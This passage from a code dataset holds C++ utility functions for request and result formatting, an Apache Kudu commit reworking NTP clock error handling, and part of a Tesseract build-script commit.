mode: \"\n\t\t\t\t\"safe_fopen_wrapper returns %s\\n\", file, strerror(errno));\n\t\treturn false;\n\t}\n\n\tfclose(fp);\n\treturn true;\n}\n\nint\nverify_number_args (const int is, const int should_be) {\n\tif (is != should_be) {\n\t\tdprintf (D_ALWAYS, \"Wrong # of args %d, should be %d\\n\", is, should_be);\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\nint\nverify_min_number_args (const int is, const int minimum) {\n\tif (is < minimum ) {\n\t\tdprintf (D_ALWAYS, \"Wrong # of args %d, should be more than or equal to %d\\n\", is, minimum);\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\nint\nverify_request_id (const char * s) {\n    unsigned int i;\n\tfor (i=0; i<strlen(s); i++) {\n\t\tif (!isdigit(s[i])) {\n\t\t\tdprintf (D_ALWAYS, \"Bad request id %s\\n\", s);\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\nint\nverify_string_name(const char * s) {\n    if( s == NULL ) {\n        dprintf( D_ALWAYS, \"verify_string_name() failed: string is NULL.\\n\" );\n        return false;\n    }\n    if( strlen(s) <= 0 ) {\n        dprintf( D_ALWAYS, \"verify_string_name() failed: string is zero-length.\\n\" );\n    }        \n    return true;\n}\n\nint\nverify_number (const char * s) {\n\tif (!s || !(*s)) {\n\t\tdprintf (D_ALWAYS, \"No digit number\\n\");\n\t\treturn FALSE;\n\t}\n\t\n\tint i=0;\n   \n\tdo {\n\t\tif (s[i]<'0' || s[i]>'9') {\n\t\t\tdprintf (D_ALWAYS, \"Bad digit number %s\\n\", s);\n\t\t\treturn FALSE;\n\t\t}\n\t} while (s[++i]);\n\n\treturn TRUE;\n}\n\nbool check_access_and_secret_key_file(const char* accesskeyfile, const char* secretkeyfile, std::string &err_msg)\n{\n\t\/\/ check the accesskeyfile\n\tif( !check_read_access_file(accesskeyfile) ) {\n\t\tsprintf(err_msg, \"Cannot_read_access_key_file(%s)\", accesskeyfile? accesskeyfile:\"\");\n\t\tdprintf (D_ALWAYS, \"Error: %s\\n\", err_msg.c_str());\n\t\treturn false;\n\t}\n\n\t\/\/ check the accesskeyfile and secretkeyfile\n\tif( !check_read_access_file(secretkeyfile) ) {\n\t\tsprintf(err_msg, \"Cannot_read_secret_key_file(%s)\", secretkeyfile? secretkeyfile:\"\");\n\t\tdprintf (D_ALWAYS, \"Error: %s\\n\", err_msg.c_str());\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n\/\/ String -> int\nint\nget_int (const char * blah, int * s) {\n\t*s = atoi(blah);\n\treturn TRUE;\n}\n\nint\nget_ulong (const char * blah, unsigned long * s) {\n\t*s=(unsigned long)atol(blah);\n\treturn TRUE;\n}\n\nstd::string\ncreate_output_string (int req_id, const char ** results, const int argc)\n{\n\tstd::string buffer;\n\n\tsprintf( buffer, \"%d\", req_id );\n\n\tfor ( int i = 0; i < argc; i++ ) {\n\t\tbuffer += ' ';\n\t\tif ( results[i] == NULL ) {\n\t\t\tbuffer += \"NULL\";\n\t\t} else {\n\t\t\tfor ( int j = 0; results[i][j] != '\\0'; j++ ) {\n\t\t\t\tswitch ( results[i][j] ) {\n\t\t\t\tcase ' ':\n\t\t\t\tcase '\\\\':\n\t\t\t\tcase '\\r':\n\t\t\t\tcase '\\n':\n\t\t\t\t\tbuffer += '\\\\';\n\t\t\t\tdefault:\n\t\t\t\t\tbuffer += results[i][j];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbuffer += '\\n';\n\treturn buffer;\n}\n\nstd::string\ncreate_success_result( int req_id, StringList *result_list)\n{\n\tint index_count = 1;\n\tif( !result_list || (result_list->number() == 0) ) {\n\t\tindex_count = 1;\n\t}else {\n\t\tindex_count = result_list->number();\n\t}\n\n\tconst char *tmp_result[index_count];\n\n\ttmp_result[0] = AMAZON_COMMAND_SUCCESS_OUTPUT;\n\n\tint i = 1;\n\tif( result_list && (result_list->number() > 0) ) {\n\t\tchar *one_result = NULL;\n\t\tresult_list->rewind();\n\t\twhile((one_result = result_list->next()) != NULL ) {\n\t\t\ttmp_result[i] = one_result;\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn create_output_string (req_id, tmp_result, i);\n}\n\nstd::string\ncreate_failure_result( int req_id, const char *err_msg, const char* err_code)\n{\n\tconst char *tmp_result[3];\n\ttmp_result[0] = AMAZON_COMMAND_ERROR_OUTPUT;\n\n\tif( !err_code ) {\n\t\terr_code = GENERAL_GAHP_ERROR_CODE;\n\t}\n\tif( !err_msg ) {\n\t\terr_msg = GENERAL_GAHP_ERROR_MSG;\n\t}\n\ttmp_result[1] = err_code;\n\ttmp_result[2] = err_msg;\n\n\treturn create_output_string(req_id, tmp_result, 3);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements.  See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership.  The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License.  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied.  See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#include \"kudu\/clock\/system_ntp.h\"\n\n#include <sys\/time.h>\n#include <sys\/timex.h>\n\n#include <cerrno>\n#include <limits>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <gflags\/gflags_declare.h>\n#include <glog\/logging.h>\n\n#include \"kudu\/gutil\/port.h\"\n#include \"kudu\/gutil\/strings\/join.h\"\n#include \"kudu\/gutil\/strings\/substitute.h\"\n#include \"kudu\/util\/errno.h\"\n#include \"kudu\/util\/logging.h\"\n#include \"kudu\/util\/path_util.h\"\n#include \"kudu\/util\/status.h\"\n#include \"kudu\/util\/subprocess.h\"\n\nDECLARE_bool(inject_unsync_time_errors);\n\nusing std::string;\nusing std::vector;\nusing strings::Substitute;\n\nnamespace kudu {\nnamespace clock {\n\nnamespace {\n\nStatus NtpStateToStatus(int rc) {\n  switch (rc) {\n    case TIME_OK:\n      return Status::OK();\n    case -1: \/\/ generic error\n      {\n        int err = errno;\n        \/\/ From 'man 2 adjtimex', ntp_adjtime failure implies an improper 'tx'.\n        return Status::InvalidArgument(\n            \"Error reading clock. ntp_adjtime() failed\", ErrnoToString(err));\n      }\n    case TIME_ERROR:\n      return Status::ServiceUnavailable(\n          PREDICT_FALSE(FLAGS_inject_unsync_time_errors) ?\n          \"Injected clock unsync error\" :\n          \"Error reading clock. Clock considered unsynchronized\");\n    default:\n      \/\/ TODO(dralves): what to do about leap seconds? see KUDU-146\n      KLOG_FIRST_N(ERROR, 1)\n          << \"Server undergoing leap second. This may cause consistency issues \"\n          << \"(rc=\" << rc << \")\";\n      return Status::OK();\n  }\n}\n\nvoid TryRun(vector<string> cmd, vector<string>* log) {\n  string exe;\n  Status s = FindExecutable(cmd[0], {\"\/sbin\", \"\/usr\/sbin\/\"}, &exe);\n  if (!s.ok()) {\n    LOG_STRING(WARNING, log) << \"could not find executable: \" << cmd[0];\n    return;\n  }\n\n  cmd[0] = exe;\n  string out;\n  string err;\n  s = Subprocess::Call(cmd, \"\", &out, &err);\n  \/\/ Subprocess::Call() returns RuntimeError in the case that the process returns\n  \/\/ a non-zero exit code, but that might still generate useful err.\n  if (s.ok() || (s.IsRuntimeError() && (!out.empty() || !err.empty()))) {\n    LOG_STRING(ERROR, log)\n        << JoinStrings(cmd, \" \")\n        << \"\\n------------------------------------------\"\n        << (!out.empty() ? Substitute(\"\\nstdout:\\n$0\", out) : \"\")\n        << (!err.empty() ? Substitute(\"\\nstderr:\\n$0\", err) : \"\")\n        << \"\\n\";\n  } else {\n    LOG_STRING(WARNING, log) << \"failed to run executable: \" << cmd[0];\n  }\n}\n\n} \/\/ anonymous namespace\n\nSystemNtp::SystemNtp()\n    : skew_ppm_(std::numeric_limits<int64_t>::max()) {\n}\n\nStatus SystemNtp::Init() {\n  timex tx;\n  tx.modes = 0; \/\/ set mode to 0 for read-only query\n  RETURN_NOT_OK(NtpStateToStatus(ntp_adjtime(&tx)));\n  \/\/ The unit of the reported tolerance is ppm with 16-bit fractional part:\n  \/\/ 65536 is 1 ppm (see http:\/\/man7.org\/linux\/man-pages\/man3\/ntp_adjtime.3.html\n  \/\/ for details).\n  skew_ppm_ = tx.tolerance \/ 65536;\n  return Status::OK();\n}\n\nStatus SystemNtp::WalltimeWithError(uint64_t* now_usec, uint64_t* error_usec) {\n  if (PREDICT_FALSE(FLAGS_inject_unsync_time_errors)) {\n    return NtpStateToStatus(TIME_ERROR);\n  }\n  \/\/ Read the time. This will return an error if the clock is not synchronized.\n  ntptimeval tv;\n  const int rc = ntp_gettime(&tv);\n  \/\/ ntp_gettime() never fails according to its manual page.\n  PCHECK(rc != -1);\n  RETURN_NOT_OK(NtpStateToStatus(rc));\n  uint64_t now = static_cast<uint64_t>(tv.time.tv_sec) * 1000000;\n#ifdef __APPLE__\n  now += tv.time.tv_nsec \/ 1000;\n#else\n  now += tv.time.tv_usec;\n#endif\n  *now_usec = now;\n  *error_usec = tv.maxerror;\n  return Status::OK();\n}\n\nvoid SystemNtp::DumpDiagnostics(vector<string>* log) const {\n  LOG_STRING(ERROR, log) << \"Dumping NTP diagnostics\";\n  TryRun({\"ntptime\"}, log);\n  \/\/ Gather as much info as possible from both ntpq and ntpdc, even\n  \/\/ though some of it might be redundant. Different versions of ntp\n  \/\/ expose different sets of commands through these two tools.\n  \/\/ The tools will happily ignore commmands they don't understand.\n  TryRun({\"ntpq\", \"-n\",\n          \"-c\", \"timeout 1000\",\n          \"-c\", \"readvar\",\n          \"-c\", \"sysinfo\",\n          \"-c\", \"lpeers\",\n          \"-c\", \"opeers\",\n          \"-c\", \"version\"}, log);\n  TryRun({\"ntpdc\", \"-n\",\n          \"-c\", \"timeout 1000\",\n          \"-c\", \"peers\",\n          \"-c\", \"sysinfo\",\n          \"-c\", \"sysstats\",\n          \"-c\", \"version\"}, log);\n\n  TryRun({\"chronyc\", \"-n\", \"tracking\"}, log);\n  TryRun({\"chronyc\", \"-n\", \"sources\"}, log);\n}\n\n} \/\/ namespace clock\n} \/\/ namespace kudu\n<commit_msg>[clock] fix on SystemNtp::Init()<commit_after>\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements.  See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership.  The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License.  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied.  See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#include \"kudu\/clock\/system_ntp.h\"\n\n#include <sys\/time.h>\n#include <sys\/timex.h>\n\n#include <cerrno>\n#include <limits>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <gflags\/gflags_declare.h>\n#include <glog\/logging.h>\n\n#include \"kudu\/gutil\/port.h\"\n#include \"kudu\/gutil\/strings\/join.h\"\n#include \"kudu\/gutil\/strings\/substitute.h\"\n#include \"kudu\/util\/errno.h\"\n#include \"kudu\/util\/logging.h\"\n#include \"kudu\/util\/path_util.h\"\n#include \"kudu\/util\/status.h\"\n#include \"kudu\/util\/subprocess.h\"\n\nDECLARE_bool(inject_unsync_time_errors);\n\nusing std::string;\nusing std::vector;\nusing strings::Substitute;\n\nnamespace kudu {\nnamespace clock {\n\nnamespace {\n\n\/\/ Convert the clock state returned by ntp_gettime() into Status.\nStatus NtpStateToStatus(int rc) {\n  \/\/ According to http:\/\/man7.org\/linux\/man-pages\/man3\/ntp_gettime.3.html,\n  \/\/ ntp_gettime() never fails if given correct pointer to the output argument.\n  PCHECK(rc >= 0);\n  switch (rc) {\n    case TIME_OK:\n      return Status::OK();\n    case TIME_ERROR:\n      return Status::ServiceUnavailable(\n          PREDICT_FALSE(FLAGS_inject_unsync_time_errors)\n          ? \"Injected clock unsync error\"\n          : \"Error reading clock. Clock considered unsynchronized\");\n    default:\n      \/\/ TODO(dralves): what to do about leap seconds? see KUDU-146\n      KLOG_FIRST_N(ERROR, 1)\n          << \"Server undergoing leap second. This may cause consistency issues \"\n          << \"(rc=\" << rc << \")\";\n      return Status::OK();\n  }\n}\n\nvoid TryRun(vector<string> cmd, vector<string>* log) {\n  string exe;\n  Status s = FindExecutable(cmd[0], {\"\/sbin\", \"\/usr\/sbin\/\"}, &exe);\n  if (!s.ok()) {\n    LOG_STRING(WARNING, log) << \"could not find executable: \" << cmd[0];\n    return;\n  }\n\n  cmd[0] = exe;\n  string out;\n  string err;\n  s = Subprocess::Call(cmd, \"\", &out, &err);\n  \/\/ Subprocess::Call() returns RuntimeError in the case that the process returns\n  \/\/ a non-zero exit code, but that might still generate useful err.\n  if (s.ok() || (s.IsRuntimeError() && (!out.empty() || !err.empty()))) {\n    LOG_STRING(ERROR, log)\n        << JoinStrings(cmd, \" \")\n        << \"\\n------------------------------------------\"\n        << (!out.empty() ? Substitute(\"\\nstdout:\\n$0\", out) : \"\")\n        << (!err.empty() ? Substitute(\"\\nstderr:\\n$0\", err) : \"\")\n        << \"\\n\";\n  } else {\n    LOG_STRING(WARNING, log) << \"failed to run executable: \" << cmd[0];\n  }\n}\n\n} \/\/ anonymous namespace\n\nSystemNtp::SystemNtp()\n    : skew_ppm_(std::numeric_limits<int64_t>::max()) {\n}\n\nStatus SystemNtp::Init() {\n  timex tx;\n  tx.modes = 0; \/\/ set mode to 0 for read-only query\n  int rc = ntp_adjtime(&tx);\n  \/\/ From http:\/\/man7.org\/linux\/man-pages\/man2\/adjtimex.2.html,\n  \/\/ the failure implies invalid pointer for 'tx', which cannot be the case.\n  \/\/ However, there were reports that with old version of Docker it might return\n  \/\/ EPERM even if 'tx.mode' is set to 0; see KUDU-2000 for details.\n  if (PREDICT_FALSE(rc == -1)) {\n    int err = errno;\n    return Status::RuntimeError(\"ntp_adjtime() failed\", ErrnoToString(err));\n  }\n\n  \/\/ The unit of the reported tolerance is ppm with 16-bit fractional part:\n  \/\/ 65536 is 1 ppm (see http:\/\/man7.org\/linux\/man-pages\/man3\/ntp_adjtime.3.html\n  \/\/ for details).\n  skew_ppm_ = tx.tolerance \/ 65536;\n  VLOG(1) << \"ntp_adjtime(): tolerance is \" << tx.tolerance;\n\n  return Status::OK();\n}\n\nStatus SystemNtp::WalltimeWithError(uint64_t* now_usec, uint64_t* error_usec) {\n  if (PREDICT_FALSE(FLAGS_inject_unsync_time_errors)) {\n    return NtpStateToStatus(TIME_ERROR);\n  }\n  \/\/ Read the clock and convert its state into status. This will return an error\n  \/\/ if the clock is not synchronized.\n  ntptimeval tv;\n  RETURN_NOT_OK(NtpStateToStatus(ntp_gettime(&tv)));\n  uint64_t now = static_cast<uint64_t>(tv.time.tv_sec) * 1000000;\n#ifdef __APPLE__\n  now += tv.time.tv_nsec \/ 1000;\n#else\n  now += tv.time.tv_usec;\n#endif\n  *now_usec = now;\n  *error_usec = tv.maxerror;\n  return Status::OK();\n}\n\nvoid SystemNtp::DumpDiagnostics(vector<string>* log) const {\n  LOG_STRING(ERROR, log) << \"Dumping NTP diagnostics\";\n  TryRun({\"ntptime\"}, log);\n  \/\/ Gather as much info as possible from both ntpq and ntpdc, even\n  \/\/ though some of it might be redundant. Different versions of ntp\n  \/\/ expose different sets of commands through these two tools.\n  \/\/ The tools will happily ignore commmands they don't understand.\n  TryRun({\"ntpq\", \"-n\",\n          \"-c\", \"timeout 1000\",\n          \"-c\", \"readvar\",\n          \"-c\", \"sysinfo\",\n          \"-c\", \"lpeers\",\n          \"-c\", \"opeers\",\n          \"-c\", \"version\"}, log);\n  TryRun({\"ntpdc\", \"-n\",\n          \"-c\", \"timeout 1000\",\n          \"-c\", \"peers\",\n          \"-c\", \"sysinfo\",\n          \"-c\", \"sysstats\",\n          \"-c\", \"version\"}, log);\n\n  TryRun({\"chronyc\", \"-n\", \"tracking\"}, log);\n  TryRun({\"chronyc\", \"-n\", \"sources\"}, log);\n}\n\n} \/\/ namespace clock\n} \/\/ namespace kudu\n<|endoftext|>"}
{"text":"<commit_before>void build(Solution &s)\n{\n    auto &tess = s.addProject(\"google.tesseract\", \"master\");\n    tess += Git(\"https:\/\/github.com\/tesseract-ocr\/tesseract\", \"\", \"{v}\");\n\n    auto &libtesseract = tess.addTarget<LibraryTarget>(\"libtesseract\");\n    {\n        libtesseract.setChecks(\"libtesseract\");\n\n        libtesseract.ExportAllSymbols = true;\n        libtesseract.PackageDefinitions = true;\n        libtesseract +=\n            \"src\/api\/.*\\\\.cpp\"_rr,\n            \"src\/api\/.*\\\\.h\"_rr,\n            \"src\/api\/tess_version.h.in\",\n            \"src\/arch\/.*\\\\.cpp\"_rr,\n            \"src\/arch\/.*\\\\.h\"_rr,\n            \"src\/ccmain\/.*\\\\.cpp\"_rr,\n            \"src\/ccmain\/.*\\\\.h\"_rr,\n            \"src\/ccstruct\/.*\\\\.cpp\"_rr,\n            \"src\/ccstruct\/.*\\\\.h\"_rr,\n            \"src\/ccutil\/.*\\\\.cpp\"_rr,\n            \"src\/ccutil\/.*\\\\.h\"_rr,\n            \"src\/classify\/.*\\\\.cpp\"_rr,\n            \"src\/classify\/.*\\\\.h\"_rr,\n            \"src\/cutil\/.*\\\\.cpp\"_rr,\n            \"src\/cutil\/.*\\\\.h\"_rr,\n            \"src\/dict\/.*\\\\.cpp\"_rr,\n            \"src\/dict\/.*\\\\.h\"_rr,\n            \"src\/lstm\/.*\\\\.cpp\"_rr,\n            \"src\/lstm\/.*\\\\.h\"_rr,\n            \"src\/opencl\/.*\\\\.cpp\"_rr,\n            \"src\/opencl\/.*\\\\.h\"_rr,\n            \"src\/textord\/.*\\\\.cpp\"_rr,\n            \"src\/textord\/.*\\\\.h\"_rr,\n            \"src\/viewer\/.*\\\\.cpp\"_rr,\n            \"src\/viewer\/.*\\\\.h\"_rr,\n            \"src\/wordrec\/.*\\\\.cpp\"_rr,\n            \"src\/wordrec\/.*\\\\.h\"_rr;\n\n        libtesseract -=\n            \"src\/api\/tesseractmain.cpp\",\n            \"src\/viewer\/svpaint.cpp\";\n\n        libtesseract.Public +=\n            \"src\/opencl\"_id,\n            \"src\/ccmain\"_id,\n            \"src\/api\"_id,\n            \"src\/dict\"_id,\n            \"src\/viewer\"_id,\n            \"src\/wordrec\"_id,\n            \"src\/ccstruct\"_id,\n            \"src\/cutil\"_id,\n            \"src\/textord\"_id,\n            \"src\/ccutil\"_id,\n            \"src\/lstm\"_id,\n            \"src\/classify\"_id,\n            \"src\/arch\"_id,\n            \"src\/training\"_id;\n\n        if (libtesseract.getCompilerType() == CompilerType::MSVC ||\n            libtesseract.getCompilerType() == CompilerType::ClangCl)\n        {\n            libtesseract += \"__SSE4_1__\"_def;\n            libtesseract.CompileOptions.push_back(\"-arch:AVX2\");\n\n            libtesseract -=\n                \"src\/arch\/dotproductfma.cpp\";\n        }\n\n        libtesseract.Public += \"HAVE_CONFIG_H\"_d;\n        libtesseract.Public += \"_SILENCE_STDEXT_HASH_DEPRECATION_WARNINGS=1\"_d;\n        libtesseract.Public += \"HAVE_LIBARCHIVE\"_d;\n        libtesseract.Interface += sw::Shared, \"TESS_IMPORTS\"_d;\n        libtesseract.Private += sw::Shared, \"TESS_EXPORTS\"_d;\n\n        libtesseract.Public += \"org.sw.demo.danbloomberg.leptonica\"_dep;\n        libtesseract.Public += \"org.sw.demo.libarchive.libarchive\"_dep;\n\n        if (libtesseract.getBuildSettings().TargetOS.Type == OSType::Windows)\n        {\n            libtesseract.Public += \"ws2_32.lib\"_slib;\n            libtesseract.Protected += \"NOMINMAX\"_def;\n        }\n\n        libtesseract.Variables[\"TESSERACT_MAJOR_VERSION\"] = libtesseract.Variables[\"PACKAGE_MAJOR_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_MINOR_VERSION\"] = libtesseract.Variables[\"PACKAGE_MINOR_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_MICRO_VERSION\"] = libtesseract.Variables[\"PACKAGE_PATCH_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_VERSION_STR\"] = \"master\";\n        libtesseract.configureFile(\"src\/api\/tess_version.h.in\", \"tess_version.h\");\n\n        \/\/ install\n        if (!libtesseract.DryRun)\n        {\n            const Files files\n            {\n                \/\/ from api\/makefile.am\n                \"src\/api\/apitypes.h\",\n                \"src\/api\/baseapi.h\",\n                \"src\/api\/capi.h\",\n                \"src\/api\/renderer.h\",\n                \"tess_version.h\",\n\n                \/\/from ccmain\/makefile.am\n                \"src\/ccmain\/thresholder.h\",\n                \"src\/ccmain\/ltrresultiterator.h\",\n                \"src\/ccmain\/pageiterator.h\",\n                \"src\/ccmain\/resultiterator.h\",\n                \"src\/ccmain\/osdetect.h\",\n\n                \/\/from ccstruct\/makefile.am\n                \"src\/ccstruct\/publictypes.h\",\n\n                \/\/from ccutil\/makefile.am\n                \"src\/ccutil\/genericvector.h\",\n                \"src\/ccutil\/helpers.h\",\n                \"src\/ccutil\/ocrclass.h\",\n                \"src\/ccutil\/platform.h\",\n                \"src\/ccutil\/serialis.h\",\n                \"src\/ccutil\/strngs.h\",\n                \"src\/ccutil\/unichar.h\",\n            };\n\n            auto d = libtesseract.BinaryDir \/ \"tesseract\";\n            fs::create_directories(d);\n            for (auto f : files)\n            {\n                libtesseract.check_absolute(f);\n                fs::copy_file(f, d \/ f.filename(), fs::copy_options::update_existing);\n            }\n        }\n    }\n\n    \/\/\n    auto &tesseract = tess.addExecutable(\"tesseract\");\n    tesseract += \"src\/api\/tesseractmain.cpp\";\n    tesseract += libtesseract;\n\n    \/\/\n    auto &tessopt = tess.addStaticLibrary(\"tessopt\");\n    tessopt += \"src\/training\/tessopt.*\"_rr;\n    tessopt.Public += libtesseract;\n\n    \/\/\n    auto &common_training = tess.addStaticLibrary(\"common_training\");\n    common_training +=\n        \"src\/training\/commandlineflags.cpp\",\n        \"src\/training\/commandlineflags.h\",\n        \"src\/training\/commontraining.cpp\",\n        \"src\/training\/commontraining.h\",\n        \"src\/training\/ctc.cpp\",\n        \"src\/training\/ctc.h\",\n        \"src\/training\/errorcounter.cpp\",\n        \"src\/training\/errorcounter.h\",\n        \"src\/training\/intfeaturedist.cpp\",\n        \"src\/training\/intfeaturedist.h\",\n        \"src\/training\/intfeaturemap.cpp\",\n        \"src\/training\/intfeaturemap.h\",\n        \"src\/training\/mastertrainer.cpp\",\n        \"src\/training\/mastertrainer.h\",\n        \"src\/training\/networkbuilder.cpp\",\n        \"src\/training\/networkbuilder.h\",\n        \"src\/training\/sampleiterator.cpp\",\n        \"src\/training\/sampleiterator.h\",\n        \"src\/training\/trainingsampleset.cpp\",\n        \"src\/training\/trainingsampleset.h\";\n    common_training.Public += tessopt;\n\n    \/\/\n    auto &unicharset_training = tess.addStaticLibrary(\"unicharset_training\");\n    unicharset_training +=\n        \"src\/training\/fileio.*\"_rr,\n        \"src\/training\/icuerrorcode.*\"_rr,\n        \"src\/training\/icuerrorcode.h\",\n        \"src\/training\/lang_model_helpers.*\"_rr,\n        \"src\/training\/lstmtester.*\"_rr,\n        \"src\/training\/lstmtrainer.*\"_rr,\n        \"src\/training\/normstrngs.*\"_rr,\n        \"src\/training\/unicharset_training_utils.*\"_rr,\n        \"src\/training\/validat.*\"_rr;\n    unicharset_training.Public += common_training;\n    unicharset_training.Public += \"org.sw.demo.unicode.icu.i18n\"_dep;\n\n    \/\/\n#define ADD_EXE(n, ...)               \\\n    auto &n = tess.addExecutable(#n); \\\n    n += \"src\/training\/\" #n \".*\"_rr;  \\\n    n.Public += __VA_ARGS__;          \\\n    n\n\n    ADD_EXE(ambiguous_words, libtesseract);\n    ADD_EXE(classifier_tester, common_training);\n    ADD_EXE(combine_lang_model, unicharset_training);\n    ADD_EXE(combine_tessdata, libtesseract);\n    ADD_EXE(cntraining, common_training);\n    ADD_EXE(dawg2wordlist, libtesseract);\n    ADD_EXE(mftraining, common_training) += \"src\/training\/mergenf.*\"_rr;\n    ADD_EXE(shapeclustering, common_training);\n    ADD_EXE(unicharset_extractor, unicharset_training);\n    ADD_EXE(wordlist2dawg, libtesseract);\n    ADD_EXE(lstmeval, unicharset_training);\n    ADD_EXE(lstmtraining, unicharset_training);\n    ADD_EXE(set_unicharset_properties, unicharset_training);\n\n    ADD_EXE(text2image, unicharset_training);\n    text2image +=\n        \"src\/training\/boxchar.cpp\",\n        \"src\/training\/boxchar.h\",\n        \"src\/training\/degradeimage.cpp\",\n        \"src\/training\/degradeimage.h\",\n        \"src\/training\/icuerrorcode.h\",\n        \"src\/training\/ligature_table.cpp\",\n        \"src\/training\/ligature_table.h\",\n        \"src\/training\/normstrngs.cpp\",\n        \"src\/training\/normstrngs.h\",\n        \"src\/training\/pango_font_info.cpp\",\n        \"src\/training\/pango_font_info.h\",\n        \"src\/training\/stringrenderer.cpp\",\n        \"src\/training\/stringrenderer.h\",\n        \"src\/training\/text2image.cpp\",\n        \"src\/training\/tlog.cpp\",\n        \"src\/training\/tlog.h\",\n        \"src\/training\/util.h\";\n    text2image.Public += \"org.sw.demo.gnome.pango.pangocairo\"_dep;\n}\n\nvoid check(Checker &c)\n{\n    auto &s = c.addSet(\"libtesseract\");\n    s.checkFunctionExists(\"getline\");\n    s.checkIncludeExists(\"dlfcn.h\");\n    s.checkIncludeExists(\"inttypes.h\");\n    s.checkIncludeExists(\"limits.h\");\n    s.checkIncludeExists(\"malloc.h\");\n    s.checkIncludeExists(\"memory.h\");\n    s.checkIncludeExists(\"stdbool.h\");\n    s.checkIncludeExists(\"stdint.h\");\n    s.checkIncludeExists(\"stdlib.h\");\n    s.checkIncludeExists(\"string.h\");\n    s.checkIncludeExists(\"sys\/ipc.h\");\n    s.checkIncludeExists(\"sys\/shm.h\");\n    s.checkIncludeExists(\"sys\/stat.h\");\n    s.checkIncludeExists(\"sys\/types.h\");\n    s.checkIncludeExists(\"sys\/wait.h\");\n    s.checkIncludeExists(\"tiffio.h\");\n    s.checkIncludeExists(\"unistd.h\");\n    s.checkTypeSize(\"long long int\");\n    s.checkTypeSize(\"mbstate_t\");\n    s.checkTypeSize(\"off_t\");\n    s.checkTypeSize(\"size_t\");\n    s.checkTypeSize(\"void *\");\n    s.checkTypeSize(\"wchar_t\");\n    s.checkTypeSize(\"_Bool\");\n    {\n        auto &c = s.checkSymbolExists(\"snprintf\");\n        c.Parameters.Includes.push_back(\"stdio.h\");\n    }\n}\n<commit_msg>Fix isolated build.<commit_after>void build(Solution &s)\n{\n    auto &tess = s.addProject(\"google.tesseract\", \"master\");\n    tess += Git(\"https:\/\/github.com\/tesseract-ocr\/tesseract\", \"\", \"{v}\");\n\n    auto &libtesseract = tess.addTarget<LibraryTarget>(\"libtesseract\");\n    {\n        libtesseract.setChecks(\"libtesseract\");\n\n        libtesseract.ExportAllSymbols = true;\n        libtesseract.PackageDefinitions = true;\n        libtesseract +=\n            \"src\/api\/.*\\\\.cpp\"_rr,\n            \"src\/api\/.*\\\\.h\"_rr,\n            \"src\/api\/tess_version.h.in\",\n            \"src\/arch\/.*\\\\.cpp\"_rr,\n            \"src\/arch\/.*\\\\.h\"_rr,\n            \"src\/ccmain\/.*\\\\.cpp\"_rr,\n            \"src\/ccmain\/.*\\\\.h\"_rr,\n            \"src\/ccstruct\/.*\\\\.cpp\"_rr,\n            \"src\/ccstruct\/.*\\\\.h\"_rr,\n            \"src\/ccutil\/.*\\\\.cpp\"_rr,\n            \"src\/ccutil\/.*\\\\.h\"_rr,\n            \"src\/classify\/.*\\\\.cpp\"_rr,\n            \"src\/classify\/.*\\\\.h\"_rr,\n            \"src\/cutil\/.*\\\\.cpp\"_rr,\n            \"src\/cutil\/.*\\\\.h\"_rr,\n            \"src\/dict\/.*\\\\.cpp\"_rr,\n            \"src\/dict\/.*\\\\.h\"_rr,\n            \"src\/lstm\/.*\\\\.cpp\"_rr,\n            \"src\/lstm\/.*\\\\.h\"_rr,\n            \"src\/opencl\/.*\\\\.cpp\"_rr,\n            \"src\/opencl\/.*\\\\.h\"_rr,\n            \"src\/textord\/.*\\\\.cpp\"_rr,\n            \"src\/textord\/.*\\\\.h\"_rr,\n            \"src\/viewer\/.*\\\\.cpp\"_rr,\n            \"src\/viewer\/.*\\\\.h\"_rr,\n            \"src\/wordrec\/.*\\\\.cpp\"_rr,\n            \"src\/wordrec\/.*\\\\.h\"_rr;\n\n        libtesseract += \"src\/training\/.*\\\\.h\"_rr;\n\n        libtesseract -=\n            \"src\/api\/tesseractmain.cpp\",\n            \"src\/viewer\/svpaint.cpp\";\n\n        libtesseract.Public +=\n            \"src\/opencl\"_id,\n            \"src\/ccmain\"_id,\n            \"src\/api\"_id,\n            \"src\/dict\"_id,\n            \"src\/viewer\"_id,\n            \"src\/wordrec\"_id,\n            \"src\/ccstruct\"_id,\n            \"src\/cutil\"_id,\n            \"src\/textord\"_id,\n            \"src\/ccutil\"_id,\n            \"src\/lstm\"_id,\n            \"src\/classify\"_id,\n            \"src\/arch\"_id,\n            \"src\/training\"_id;\n\n        if (libtesseract.getCompilerType() == CompilerType::MSVC ||\n            